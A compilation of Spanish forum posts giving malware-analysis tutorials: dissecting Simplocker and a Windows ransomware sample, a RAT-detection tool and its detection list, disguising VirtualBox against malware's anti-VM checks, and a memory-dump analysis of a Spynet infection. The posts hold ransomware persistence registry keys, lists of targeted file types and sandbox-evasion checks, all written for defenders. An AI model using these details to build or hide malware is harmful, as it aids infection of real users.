Contraseña:  byfudmario





Para Cualquier error o sugerencias que encuentren en el Programa, pueden enviarme mensaje por Skype.
#30

Hace un par de semanas me preguntaron sobre esto, así que me saque algo de tiempo y decidi hacer este mini-tutorial para todos, y bueno veremos algunas formas para poder identificar APK's maliciosas y tambien el uso de aplicaciones que nos ayudaran en este proceso.

Comencemos...

¿Qué es una APK?

Cita de: WikipediaUn archivo con extensión .apk (Application PacKage File) es un paquete para el sistema operativo Android. Este formato es una variante del formato JAR de Java y se usa para distribuir e instalar componentes empaquetados para la plataforma Android...

Un archivo .apk normalmente contiene lo siguiente:

    AndroidManifest.xml
    classes.dex
    resources.arsc
    res (carpeta)
    META-INF (carpeta)
    lib (carpeta)
   
El Formato APK es básicamente un archivo comprimido ZIP con diferente extensión por lo cual pueden ser abiertos e inspeccionados usando un software archivador de ficheros como 7-Zip, Winzip, WinRAR o Ark.





  • AndroidManifest.xml
Es un archivo XML codificado como XML binario que nos muestra los datos de la aplicación(Actividades, permisos, servicios, etc.)



  • classes.dex
Aquí se encuentra el código de la aplicación compilado en un el formato que interpreta la maquina virtual de Dalvik



  • resources.arsc
Aquí se encuentran todos los recursos pre-compilados de la aplicación.



  • res
En esta carpeta estan  los recursos de la aplicación.



  • META-INF
En esta carpeta encuentran los certificados de la aplicación.

Utilizaremos una muestra disponible en Contagio Mobile
¿Qué es Simplocker?

Cita de: ESETSimplocker es un troyano apuntado a móviles, uno de la los primeros de esta clase que tiene por objetivo los dispositivos móviles con Android. Este código malicioso explora la tarjeta SD residente en busca de ciertos tipos de archivos (.jpeg, .jpg, .png, .bmp, .gif, .pdf, .doc, .docx, .txt, .avi, .mkv, .3gp, .mp4), encripta estos archivos utilizando AES, y luego demanda un rescate de parte del usuario a cambio de la descripción de esos archivos vulnerados. El resultado determina que hasta que el rescate sea pagado, los usuarios no podrán acceder a su archivos personales (fotografías, descargas, canciones , etc.).

Nuestro punto de inicio será el archivo AndroidManifest.xml, este archivo nos mostrará que es lo que va a hacer, si intentamos leer el contenido de este archivo no será legible, para poder leerlo correctamente podemos usar: "AXMLPrinter2" o "xml-apk-parser".

AXMLPrinter2: Obtiene el XML desde el archivo xml binario.
Código: php
Uso: java -jar AXMLPrinter2.jar <Archivo xml binario>
xml-apk-parser: Obtiene el XML directamente desde la APK
Código: php
Uso: java -jar APKParser.jar <Archivo apk> 





El Archivo AndroidManifest:


  • Android:versionCode =  Indica la versión de nuestra aplicación
  • Android:versionName =  Indica la versión de nuestra aplicación mostrada al usuario
  • package = Es el nombre del paquete Java que contiene el elemento raíz de nuestra aplicación
  • uses-permission = Esto declara los permisos que necesita la aplicación para funcionar.
  • permission = Esto declara los permisos que las actividades o servicios que necesita.
  • application = Esto define nombre, actividades, icono, etc.


Contenido del Archivo AndroidManifest de Simplocker:


  • android.permission.INTERNET = Permite a las aplicaciones abrir sockets de red
  • android.permission.ACCESS_NETWORK_STATE = Permite que las aplicaciones accedan a información sobre redes
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta_PHONE_STATE = Permite acceso de sólo lectura al estado del teléfono.
  • android.permission.RECEIVE_BOOT_COMPLETED = Permite que una aplicación para recibir el ACTION_BOOT_COMPLETED que se emite después de que el sistema termine de iniciarse.
  • android.permission.WAKE_LOCK = Permite el uso de PowerManager WakeLocks mantener procesador de dormir o la pantalla de oscurecimiento
  • android.permission.WRITE_EXTERNAL_STORAGE = Permite que una aplicación escriba en el almacenamiento externo
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta_EXTERNAL_STORAGE = Admite una aplicación que lee de almacenamiento externo.

Ahora vamos a decompilar el proyecto:

Como al principio hemos dicho que basicamente se trata de un archivo comprimido con diferente extensión, usando WinRAR podriamos extraer el contenido y con el archivo classes.dex pasandolo por Dex2jar obtendriamos el codigo

DEX2JAR



JD-GUI:Decompiler(Haz Clic para ver el VIDEOGIF)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otra alternativa sería usar(aunque es de pago) "AndroChef Java Decompiler", es bastante completo tu solo seleccionas tu apk y nos muestra todo el codigo decompilado.







CREANDO UN ENTORNO VIRTUAL:

Bueno para probar vamos a usar un Emulador para Android(yo usaré el Android SDK)


ANDROID VIRTUAL




Para instalar Aplicaciones utilizaremos el "adb.exe" ubicado en la carpeta "platform-tools"
el modo de uso es el Siguiente:

Código: php
adb.exe install <tu archivo .apk>

Instalando APK


Simplocker Instalado


Pantalla Principal


Archivos Encryptados




Referencias:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Liberar los archivos encryptados:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta






Si te gusta y quieres compartirlo adelante, recuerda respetar el autor del Post.
#31

Hola a todos, hoy vamos a ver un tipo de variante de Malware conocida como Ransomware, si bien esto no es nada nuevo este tipo de Malwares podrian ser muy daniños, veremos con un ejemplo como funciona y como podemos desinfectarnos.



¿Qué es  un Ransomware?[/B]


Cita de: Wikipedia
Un ransomware es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción. Algunos tipos de ransomware encriptan los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.


Similares  lo que hacen es bloquear el escritorio(muchas veces cambiandolo desde el editor registro)  y mostrar en pantalla que simulan ser de alguna tipo de autoridad diciendo que se ha bloqueado el acceso al sistema por violacion de alguna ley, actividades ilegales, etc. Para luego pedir  dinero a cambio de poder acceder al sistema.



Entre las modificaciones que generalmente hacen:



  • Para evitar ser Eliminados, modifican valores en registro para que no se pueda iniciar en modo seguro(F8).

Código: php
    
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\minimal
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network

  • Restringir el uso de herramienta utilies  de Windows:

    Código: php
    REGEDIT(Editor de Registros), TASKMGR(Administrador de Tareas), CMD()

  • Tambien modificar el inicio("explorer.exe"):


    Código: php
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon



    Aqui podemos ver como es un Builder de este  tipo de Malware:



    Muchos se preguntarán: ¿Es posible desinfectarse?.

    Depende del tipo de Variante de este Malware, podria llegar a solucionarse o no.

    Hoy vamos a ver el comportamiento de una de estas variantes de Malware.

    Aqui la muestra:




    Actualmente es detectado segun VirusTotal => [45/52]




    Decir que al intentar pasarlo por .Reflector se puede notar que  esta empaquetado(SmartAssembly 6.6.3.41), podriamos intentar desempaquetarlo,para luego mediante Reversing obtener mucha más info(pero solo veremos que es lo que hace).



    Lo siguiente que haremos será ejecutar en un entorno Controlado:

    lo ejecutaré en mi VirtualBox, con WinXP(previamente hice un .backup de la Misma).



    Vemos que despues de ejecutar nos muestra el siguiente mensaje.










    Para una Nueva extension, crea los siguientes Valores:


    Código: php

    HKLM\SOFTWARE\Classes\.LOCKED\: "BQBDQKUSAWICLUB"
    HKLM\SOFTWARE\Classes\BQBDQKUSAWICLUB\: "LOCKED"
    HKLM\SOFTWARE\Classes\BQBDQKUSAWICLUB\DefaultIcon\: "C:\DOCUME~1\User\CONFIG~1\Temp\NBj27xt2TijUNe8.exe,0"
    HKLM\SOFTWARE\Classes\BQBDQKUSAWICLUB\shell\open\command\: "C:\DOCUME~1\User\CONFIG~1\Temp\NBj27xt2TijUNe8.exe"


    Autoinicio:

    Código: php

    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alcmeter: "C:\DOCUME~1\User\CONFIG~1\Temp\NBj27xt2TijUNe8.exe"







    y que comienza a cifrar todo los archivos con extensiones conocidas(Dumpeando el proceso tambien se puede observar las extensiones afectadas).

    Código: php

    *.exe *.zip *.rar *.7z *.tar *.gzip *.jpg *.jpeg *.tif *.psd *.cdr *.dwg *.max *.bmp *.gif *.png *.doc *.docx *.xls *.xlsx *.ppt *.pptx *.txt *.pdf *.djvu *.htm *.html *.mdb *.cer *.p12 *.pfx *.kwm *.pwm *.1cd *.md *.mdf *.dbf *.odt *.vob *.iso *.ifo *.csv *.torrent *.mov *.m2v *.3gp *.mpeg *.mpg *.flv *.avi *.mp4 *.wmv *.divx *.mkv *.mp3 *.wav *.flac *.ape *.wma *.ac3 *.epub *.eps *.ai *.pps *.pptm *.accdb *.pst *.dwg *.dxf *.dxg *.wpd *.dcr *.kdc *.p7b *.p7c *.raw *.cdr *.qbb *.indd *.qbw


    Ademas cambia el modo como se abre los archivos.



    Ficheros que se Crean


    ya sabemos con funciona, ahora si las 2 preguntas mas importantes:


    ¿Cómo desinfectarse?.

    Primero vamos a borrar todo rastro de este Malware, vamos a regedit y eliminamos el autoinicio, y tambien desde "Classes" para quitar la extension .LOCKED()

    ¿Comó Desbloquear los Archivos?


    Pues gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, que nos brinda herramientas gratuitas, utilizaremos una de ellas "xoristdecryptor" una herramienta bastante util que combate con este tipo de Malware's con la que se puede llegar a decifrar los ficheros. La pueden descargar desde:


    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta









    Y listo con esto ya tenemos de nuevo funcionando nuestro Sistema.


    Código: php
    [I]Eso es todo amigos,trate de ser lo más claro en la explicación y espero que sirva de ayuda, cualquier duda, sugerencia, critica, aqui estamos para ayudar. [/I]




    Recomendaciones:



    •   Mantener siempre un antivirus actualizado, si bien no siempre es efectivo esto nos podrá ayudar evitar posibles infecciones.
    • Cualquier Fichero descargado de la Red( Keygen, crack o similares), en lo posible ejecutarlo en un entorno Controlado, Maquinas Virtuales(VBOX,VMWARE,ETC) o Sandbox(si bien no son 100% seguros pero esto podria llegar a minimizará el daño a tu PC).



    Autor: Fudmario.


    PD: "Si alguien decide llevar este tutorial a otros lados, se pide respetar el Autor y la Fuente de la misma".
#32
Seguridad / ScanRat v2 | Multi-Tools by fudmario
Junio 29, 2014, 03:58:21 PM
Hola a todos, aquí les dejo la versión 2.0 del ScanRat, en esta versión no he añadido ningún RAT a la lista, solo he implementado algunas herramientas, algo simple que nos ayudará a detectar las modificaciones de algun malware en caso de que no se encuentre en la lista de detecciones.




Caracteristicas:



  • Detector de Rat's:
    Nos permite detectar si tenemos algun rastro de Rat/Worms en nuestra PC en esta versión se ha implementado la opcion de limpiar los rastros.

    Lista de Detecciones(1/2 Deteccion Simple 2/2 Completa):

    • Spynet v2.6         [2/2]
    • DarkCometRat v5.3.1  [1/2]
    • Bozok Rat 1.4.1      [1/2]
    • Bozok Rat 1.4.3     [1/2]
    • Bozok Rat 1.5       [1/2]
    • Cybergate v1.07.5   [2/2]
    • CyberSpread-v-2.0   [2/2]
    • Cybergate v1.04.0   [2/2]
    • Cybergate v1.02.0   [2/2]
    • Cybergate v1.01.18  [2/2]
    • Cybergate v1.00.1   [2/2]
    • Cybergate v3.4.2.2  [2/2]
    • Worm v2.4 Hacker_Pan [2/2]
    • L6-Rat Beta 1        [2/2]
    • nJRat v0.6.4         [2/2]
    • nJRat v0.7d          [2/2]
    •   H-Worm Plus by Houdini  [2/2]



  • USB:
    Nos permite analizar nuestro pendrive en busca de worm, tambien tiene las opciones de: Quitar atributos de ocultos,Eliminar archivos con extensión (.lnk,.vbs,vbe), inhabilitar el Autorun.Inf.
  • Inicio de Windows:

    Nos permite detectar las aplicaciones  de inicio de Windows(HKCU,HKLM,StartUp file), con la opcion de abrir la ruta del Fichero, Eliminar el Valor del Registro.
  • Visor & Capturador de Procesos:

    Nos permite obtener los procesos ejecutados y la opción de Matar el Proceso de diferentes formas, tambien nos permite capturar aplicaciones que se ejecutan.
  • Visor de Eventos:

    Captura Eventos de Creación, Modificación, Eliminación & Cambio.
  • Bloqueo/Desbloqueo de Carpetas:

    Bloqueay desbloquea accesos  a carpetas.

DEMO:


Requerimientos:


  • .NetFramework 2 o Superior.
  • .Ejecutar con Privilegios Adminstrativos.
  • Compatible:Win7 & Win8

Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
MD5 = 39110406004a7abf788acb999dc5cdb8

Para descarga directa, desmarcar: "Use our download manager and get recommended downloads"
#33
Seguridad / ScanRat v1.3 | by fudmario
Mayo 03, 2014, 11:17:38 PM
Hola amigos, eh realizado algunas modificaciones y añadidos un Par de RATs y algunos Worms a la lista de detecciones entre otras cosas.








Para los que no lo conocen aquí la Info:
Citar
Generalmente los servers de los diferentes Rat's ,al generar el server muchas veces se puede randomizar cosas como: Claves de StarUp, Mutex, Ruta de instalación,etc... pero en algunas cosas matienen constantes como archivos, Valores en registro.

Lo que hace esta Herramienta es básicamente es buscar esas constantes(en esta versión usamos los nombre ficheros del keylogger, rutas usuales que dejan los Rat's) y si coincide indica en el log a que rat se trata.
Tambien aclarar, que debido a publicar los codigos fuentes de los Rat suelen ser Rippeados y por lo tanto, en esta herramienta puede detectarlo como otro RAT.(Ej: L6-Rat Beta 1 es detectado como njRAT v0.6.4 ).

Si quieren que agregue más RATs a la lista de  deteccion, comentar en el post o enviar por MP







TEST: njRAT by njq8



TEST: H-WORM by HOUDINI.




Para los desconfiados:

VirusScan

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Contraseña: byfudmario


#34
Anti-Anti Virtuales by fudmario

Uno de los problemas que existen al momento de Realizar Análisis de Malware, es cuando nos encontramos con diversas técnicas que utilizadas para evitar ser analizados, entre ellas:



  • Verificar si estan cargadas ciertas DLLs (Ej: SandBoxie => SbieDll.dll).
  • Verificar la Existencia de algunos ficheros(Ej: Driver-VirtualBox => VBoxMouse.sys).
  • Verificar si algunos procesos estan en ejecución(Ej: VBoxService.exe, VMWareUser.exe, Wireshark.exe, etc.).
  • Verificar el identificador del Disco Principal.
  • Deteccion de Breakpoints, Presencia de Anti-Debuggers, etc...

En SI, un sin fin de formas que utilizan los malware's para evitar ser analizados.

En esta primera parte vamos a ver como modificar nuestro entorno Virtual, esto para eludir la técnicas que generalmente tienen ciertos Malware's para evitar ser ejecutados en entornos Controlados(suena repetitivo xD).

Vamos a modificar nuestra Maquina Virtual de "Virtual Box", al igual que se puede dejar indectectables los Malware's, tambien volveremos indetectable a nuestra Maquina Virtual por así decirlo.

Comencemos:

Parte 1:
En esta parte renombraremos ficheros, valores en registro, teniendo en cuenta que cada modificación debe realizarse verificando que no dañe nuestra VM.

Técnica #1 "VirtualBox Shared Folders Minirdr NP"

Comprueba si esta cargada esta DLL: "VBoxMRXNP.dll"

Lo que haremos será renombrarla: añadirle un caracter al el nombre o randomizar el nombre, creo que si randomizamos será muy dificil que sea detectado.
A por ello:

Cambiaremos el nombre del Fichero:

Código: php

'Ruta del Fichero:
%WinDir%\system32\VBoxMRXNP.dll
'Por:
%WinDir%\system32\POIUYT.dll 'Randomizar el Nombre del Fichero.


Y tambien lo modificaremos desde el Editor de Registro para que no cause ningun error.

Código: php

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxSF\NetworkProvider








Técnica #2 "VBoxMouse.sys"

De la misma forma anteriormente mostrada, renombraremos el nombre del fichero.

Código: php

%WinDir%\system32\drivers\VBoxMouse.sys

%WinDir%\system32\drivers\FLGKHJ.sys


desde el Editor de Registro, tambien modificaremos, en las siguientes rutas:

Código: php

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\VBoxMouse

En ImagePath, cambiaremos:

Código: php

System32\DRIVERS\VBoxMouse.sy
por:
System32\DRIVERS\FLGKHJ.sys







Técnica #3 "vboxservice.exe"

Más de lo mismo a renombrarlo.

Código: php
%WinDir%\system32\vboxservice.exe
por

%WinDir%\system32\RNDSRVC.exe


Y modificarlo tambien en el Editor de Registro.
Código: php

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\VBoxService
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxService


Vamos a modificar en ImagePath por el nuevo nombre del Fichero.






Técnica #4 "VirtualBox Guest Additions"

Cambiaremos el Nombre de la siguente Clave:

Código: php

HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions

HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\RANDOMGUESTADDITIONS_fudmario






Parte 2:
Esta parte es similar al anterior hasta cierto punto, en la anterior parte modificamos por así decirlo permanentemente, pero en esta parte no se puede  ya que al reiniciar se restablecerá las modificaciones realizadas ya que si no se podria dañar nuestra VM.


Técnica #5 "HARDDISK"
Modificaremos en el Editor de Registro:
Código: php
HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

en Identifier:
VBOX HARDDISK
por Cualquiera otra cosa.




Técnica #6  , Técnica #7   "SystemBiosVersion" | "VideoBiosVersion"


Código: php
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System


Modificaremos en informacion de Valor, de SystemBiosVersion y VideoBiosVersion por cualquier cosa.


Técnica #8 "Verificando el Tamaño del Disco"
En ocaciones tambien puede pasar que el Malware  Revise si el tamaño de disco es menor a un valor dado, que generalmente son  20GB, 30GB ó 50GB esta técnica no se usa generalmente, pero hay les dejo el dato para que le puedan agregar en Expansion Dinamica a el Disco un Tamaño mayor a eso.



Test1:


ANTES:



AHORA:




Test2:




Hasta el momento solo se me ocurren esas, si alguien conoce otras técnica, comenten en el post para seguir añadiendo. Esto tambien Aplica a VMWare, Qemu, pero prefiero a VBOX ya que es gratuito.


Autor: fudmario

"Si deciden llevar esto a otros lados, se pide respetar la fuente y el autor de la Misma"
#35

En este Post vamos a estar añadiendo Herramientas destinadas al Análisis de Malware.
Tambien sabemos que existen herramientas que tienen diversas funciones y entre ellas el Análisis de Malware, las cuales tambien se incluiran, con el enfoque principal-> Análisis de Malware.



Volatility Framework

Volatility es un Framework con un conjunto de herramientas desarrolladas enteramente en Python con licencia GNU. Este Framework esta pensado para extraer de una imagen de un disco los datos volátiles que estaban en memoria RAM. Estas técnicas de extracción están pensadas para que no dependan del sistema operativo del investigador, es decir podemos utilizar Windows y/o Linux.
Existen diversas herramientas para extraer la memoria RAM, una de las formas fue mostrada en este post:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





Código: php
Supported Plugin Commands:

apihooks        Detect API hooks in process and kernel memory
atoms           Print session and window station atom tables
atomscan        Pool scanner for _RTL_ATOM_TABLE
bioskbd         Reads the keyboard buffer from Real Mode memory
callbacks       Print system-wide notification routines
clipboard       Extract the contents of the windows clipboard
cmdscan         Extract command history by scanning for _COMMAND_HISTORY
connections     Print list of open connections [Windows XP and 2003 Only]
connscan        Scan Physical memory for _TCPT_OBJECT objects (tcp connections)
consoles        Extract command history by scanning for _CONSOLE_INFORMATION
crashinfo       Dump crash-dump information
deskscan        Poolscaner for tagDESKTOP (desktops)
devicetree      Show device tree
dlldump         Dump DLLs from a process address space
dlllist         Print list of loaded dlls for each process
driverirp       Driver IRP hook detection
driverscan      Scan for driver objects _DRIVER_OBJECT
dumpcerts       Dump RSA private and public SSL keys
dumpfiles       Extract memory mapped and cached files
envars          Display process environment variables
eventhooks      Print details on windows event hooks
evtlogs         Extract Windows Event Logs (XP/2003 only)
filescan        Scan Physical memory for _FILE_OBJECT pool allocations
gahti           Dump the USER handle type information
gditimers       Print installed GDI timers and callbacks
gdt             Display Global Descriptor Table
getservicesids  Get the names of services in the Registry and return Calculated SID
getsids         Print the SIDs owning each process
handles         Print list of open handles for each process
hashdump        Dumps passwords hashes (LM/NTLM) from memory
hibinfo         Dump hibernation file information
hivedump        Prints out a hive
hivelist        Print list of registry hives.
hivescan        Scan Physical memory for _CMHIVE objects (registry hives)
hpakextract     Extract physical memory from an HPAK file
hpakinfo        Info on an HPAK file
idt             Display Interrupt Descriptor Table
iehistory       Reconstruct Internet Explorer cache / history
imagecopy       Copies a physical address space out as a raw DD image
imageinfo       Identify information for the image
impscan         Scan for calls to imported functions
kdbgscan        Search for and dump potential KDBG values
kpcrscan        Search for and dump potential KPCR values
ldrmodules      Detect unlinked DLLs
lsadump         Dump (decrypted) LSA secrets from the registry
machoinfo       Dump Mach-O file format information
malfind         Find hidden and injected code
mbrparser       Scans for and parses potential Master Boot Records (MBRs)
memdump         Dump the addressable memory for a process
memmap          Print the memory map
messagehooks    List desktop and thread window message hooks
mftparser       Scans for and parses potential MFT entries
moddump         Dump a kernel driver to an executable file sample
modscan         Scan Physical memory for _LDR_DATA_TABLE_ENTRY objects
modules         Print list of loaded modules
mutantscan      Scan for mutant objects _KMUTANT
patcher         Patches memory based on page scans
printkey        Print a registry key, and its subkeys and values
privs           Display process privileges
procexedump     Dump a process to an executable file sample
procmemdump     Dump a process to an executable memory sample
pslist          Print all running processes by following the EPROCESS lists
psscan          Scan Physical memory for _EPROCESS pool allocations
pstree          Print process list as a tree
psxview         Find hidden processes with various process listings
raw2dmp         Converts a physical memory sample to a windbg crash dump
screenshot      Save a pseudo-screenshot based on GDI windows
sessions        List details on _MM_SESSION_SPACE (user logon sessions)
shellbags       Prints ShellBags info
shimcache       Parses the Application Compatibility Shim Cache registry key
sockets         Print list of open sockets
sockscan        Scan Physical memory for _ADDRESS_OBJECT objects (tcp sockets)
ssdt            Display SSDT entries
strings         Match physical offsets to virtual addresses (may take a while, VERY verbose)
svcscan         Scan for Windows services
symlinkscan     Scan for symbolic link objects
thrdscan        Scan physical memory for _ETHREAD objects
threads         Investigate _ETHREAD and _KTHREADs
timeliner       Creates a timeline from various artifacts in memory
timers          Print kernel timers and associated module DPCs
unloadedmodules Print list of unloaded modules
userassist      Print userassist registry keys and information
userhandles     Dump the USER handle tables
vaddump         Dumps out the vad sections to a file
vadinfo         Dump the VAD info
vadtree         Walk the VAD tree and display in tree format
vadwalk         Walk the VAD tree
vboxinfo        Dump virtualbox information
vmwareinfo      Dump VMware VMSS/VMSN information
volshell        Shell in the memory image
windows         Print Desktop Windows (verbose details)
wintree         Print Z-Order Desktop Windows Tree
wndscan         Pool scanner for tagWINDOWSTATION (window stations)
yarascan        Scan process or kernel memory with Yara signatures



Descargas:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Web:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





Buster Sandbox Analyzer

BSA, herramienta diseñada para analizar cambios que ocurren en el sistema, basada en Sandboxie permitiendo ejecutar ficheros en un ambiente controlado.
Una de las Principales caracteristicas es que hace hook a la funcion NtQuerySystemInformation(ssdt Hook)

Compatible con la version 3.76 de Sandboxie, recientemente se fixeo la Injection DLL en la version 4.09.1 la cual causaba la incompatibilidad con BSA, aun no es al 100% Compatible,tambien requiere WinPCap.





Ejemplo de Reporte:




Descargas:

BSA

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SANDBOXIE

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

WinPCap

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Web:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




PeFrame
[/B]

PEframe es una herramienta OPEN SOURCE, ideal para el Análisis Estático de Malware.





USO:
       
Código: php
 peframe <opt> <file>


OPCIONES:

Código: php

-h      --help          This help
-a      --auto          Show Auto analysis
-i      --info          PE file attributes
        --hash          Hash MD5 & SHA1
        --meta          Version info & metadata
        --peid          PE Identifier Signature
        --antivm        Anti Virtual Machine
        --antidbg       Anti Debug | Disassembler
        --sections      Section analyzer
        --functions     Imported DLLs & API functions
        --suspicious    Search for suspicious API & sections
        --dump          Dumping all the information
        --strings       Extract all the string
        --file-url      Extract File Name and Url
        --file-verbose  Discover potential file name
        --hexdump       Reverse Hex dump
        --import        List Entry Import instances
        --export        List Entry Export instances
        --resource      List Entry Resource instances
        --debug         List Entry DebugData instances



Web:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#36
C# - VB.NET / [VB.NET] Coleccion de Temas + Tutorial
Marzo 05, 2014, 08:50:30 AM


    Aquí les dejo  esta coleccion de Temas para sus proyectos en
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


  • 1.vb
  • Adobe_Theme.vb
  • Advantium_Theme.vb
  • av.vb
  • Avast_Modern_Theme.vb
  • Beyond_Theme.vb
  • BitDefender_Theme.vb
  • Black_Shades_Theme.vb
  • Blue_Theme.vb
  • Booster_Theme.vb
  • Bullion_Theme.vb
  • CarbonFiber_Theme.vb
  • Classic_Theme.vb
  • Classic-Dark_Theme.vb
  • clsNeoBuxTheme.vb
  • Cypher_Theme.vb
  • Dark-Matter.vb
  • Dev-Point_Theme.vb
  • Drone_Theme.vb
  • DynamUIT_Theme.vb
  • Effectual_Theme.vb
  • Effectual+GDI+_Theme.vb
  • Electric_Theme.vb
  • Exion_Theme.vb
  • Facebook_Theme.vb
  • Flat-UI_Theme.vb
  • Flow_Theme.vb
  • Fusion_Theme.vb
  • GameBooster_Theme.vb
  • Ghost_Theme.vb
  • Green_Theme.vb
  • Influence_Theme.vb
  • Influx_Theme.vb
  • Leaked_Private_Sky_Dark_Theme.vb
  • Meph_Theme.vb
  • Multi-Design_Theme.vb
  • NamelessTheme.vb
  • NYX_Theme.vb
  • Orains_Theme.vb
  • Origin_Theme.vb
  • PalaDIn_Theme.vb
  • Perplex_[Finally Finished]_Theme.vb
  • Positron_Theme.vb
  • Prime_Theme.vb
  • Purity_Theme.vb
  • Purityx_Theme.vb
  • Reactor_Theme.vb
  • Recon_Free_Theme.vb
  • RecuperareII_Theme.vb
  • Redemtion_Theme.vb
  • RockStart_Theme.vb
  • Sharp_Theme.vb
  • Simpla_[Pure GDI+]_Theme.vb
  • Simple_Theme.vb
  • Simple-Draw_Theme.vb
  • SLC_Theme.vb
  • Steam_Theme.vb
  • Steam2_Theme.vb
  • Studio_Theme.vb
  • SubSpace_Theme.vb
  • Sugar_Release_Theme.vb
  • Tab_Theme.vb
  • Teen_Theme.vb
  • Tennis_Theme.vb
  • Thief3 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta_Theme.vb
  • Thirteen_Theme.vb
  • Twitch_Theme.vb
  • Ubuntu_Theme.vb
  • V2Black_Theme.vb
  • VI_Custom_Theme.vb
  • VibeLander_Theme.vb
  • Visceral_Theme.vb
  • Vitality_Theme.vb
  • xVisual_[12Controls-Ligth & Dark Custom]_Theme.vb
  • Youtube_Theme.vb


Como agregar temas en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

[LIST=1]
  • Clic en Proyecto -> Agregar Clase o tambien en Agregar elemento Existente y seleccionar el Tema de este Pack(Si sigues lo segundo, saltar al paso 3).





  • Si sigues lo primero, copiar todo el código del tema y reemplazarlo y Guardar todo.





  • Luego darle a Compilar Solución.



  • En la parte Izquierda, en el Cuadro de Herramientas Apareceran los controles del tema.





Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: pack_vb.net_byfudmario
#37
The Hunting - by fudmario [1/2]

Análisis de Malware parte III



Hola a todos, hoy vamos a ver algunas tecnicas más para el Análisis de Malware, asi de alguna u otra forma no depender tanto de los Antivirus y como siempre tratando de sea lo mas comprensible.

Si no viste los dos anteriores aqui les dejo los links:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Recordaran que en los dos talleres sobre "Análisis de Malware", obtuvimos toda la informacion del server(nJrat v0.6.4) y procedimos quitar al malware tan solo Redireccionado las conexiones a localhost y como no tenia Contraseña ese RAT fue bien sencillo quitarlo, bueno por ahi me preguntaron: Y si tiene contraseña el server? se puede? ...tambien se puede cuando tiene Contraseña, hoy veremos una forma.

En general muchos siempre cuando descargan aplicaciones lo primero que hacen es ejecutarlo sin antes revisarlo,grave error, antes se debe tratar de obtener información acerca de lo que ejecutemos en nuestra PC, para así evitar perdida de información, a continuacion veremos que es lo que hariamos en este Caso.

Malware Sample #1

 
Accidentalmente ejecute una aplicación en una maquina virtual, Ahora bien debemos determinar si el archivo es malicioso, si realiza conexiones, registros,etc... lo de siempre, asi que vamos a probar con los RATs más comunes, utilizaremos el "Scan-Rat by fudmario", pueden obtenerlo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

"Como no tengo .NetFrameWork instalado en la virtual, lo ejecutaré en mi PC Real en una SandBox para sacar la información necesaria con el Scan Rat"


Observamos que se trata del "Spynet v2.6", ahora que sabemos donde se ha instalado, Registro para su ejecucion despues del Reinicio, lo que nos queda será matar el proceso(Aqui dejo el link de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que hice) y borrar todo rastro de este RAT, pero les mostraré una forma mas interesante de hacerlo, ¿Comó? mediante un "Volcado de Memoria".

Bueno Explico, si el archivo no estuviese encryptado esto sería un poco más Fácil, lo hariamos con un editor HexaDecimal mirando las Strings del archivo, ahora con el "Volcado de Memoria" intentaremos obtener informacion que no pueda ayudar.

Utilizaremos "DumpIt" para el volcado de memoria, utilizado para Análsis Forense, es pequeño, portable y fácil de usar, si ustedes quieren pueden probar a usar otros.
depende de la memoria puede tomar algo de tiempo al momento del Volcado.


Una vez que haya finalizado, el archivo lo pasaremos al Editor Hexadecimal(), y buscaremos cadenas de texto que nos pueda dar informacion útil.
Para no buscar y buscar en todo el archivo solo extraje poca información usando esos 2 filtros, pero en el archivo(.raw) encotraras más información.


Filtrando un poco más  nos encontramos con esto.


Reportes:

